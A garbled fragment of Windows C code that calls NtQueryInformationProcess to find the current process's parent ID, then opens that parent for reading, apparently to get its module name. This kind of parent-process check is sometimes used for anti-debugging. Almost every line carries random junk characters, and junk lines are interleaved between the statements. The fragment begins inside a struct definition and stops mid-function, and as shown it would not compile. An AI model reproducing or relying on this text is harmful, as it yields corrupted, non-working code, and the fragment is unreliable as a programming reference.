DWORD AffinityMask; cjd-B:l
DWORD BasePriority; ZjrBOb
ULONG UniqueProcessId; `G:hC5B
ULONG InheritedFromUniqueProcessId; Xf
mN/j2
} PROCESS_BASIC_INFORMATION; H6`zzH0"
gi)C5J4
PROCNTQSIP NtQueryInformationProcess; W2M[w_~QE
SxcE@WM
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {]N7kY.W
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &SPr#OkW
0 wDhX
HANDLE hProcess; &+H\ST(/
PROCESS_BASIC_INFORMATION pbi; >enP~uW[#
Ea0EG>Y
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -_]Ceq/
if(NULL == hInst ) return 0; ~SsfkM"
#'RfwldD9
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P\z1fscnK
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D}-HWJQA3
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $v"CQD
!d[]Qt%mA
if (!NtQueryInformationProcess) return 0; XIl#0-E0X
PQz[IZ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BIg2`95F|
if(!hProcess) return 0; Hd
gABIuX
2^U?Ztth6
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |I|,6*)xg
gT,iH.
CloseHandle(hProcess); '] _7Xa'
gI@nE:(m
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2|`Mb~E;
if(hProcess==NULL) return 0; vB5mOXGN q
.cmhi3o4
HMODULE hMod; vSH-hAk
char procName[255]; w[EEA_\
unsigned long cbNeeded; * )HVK&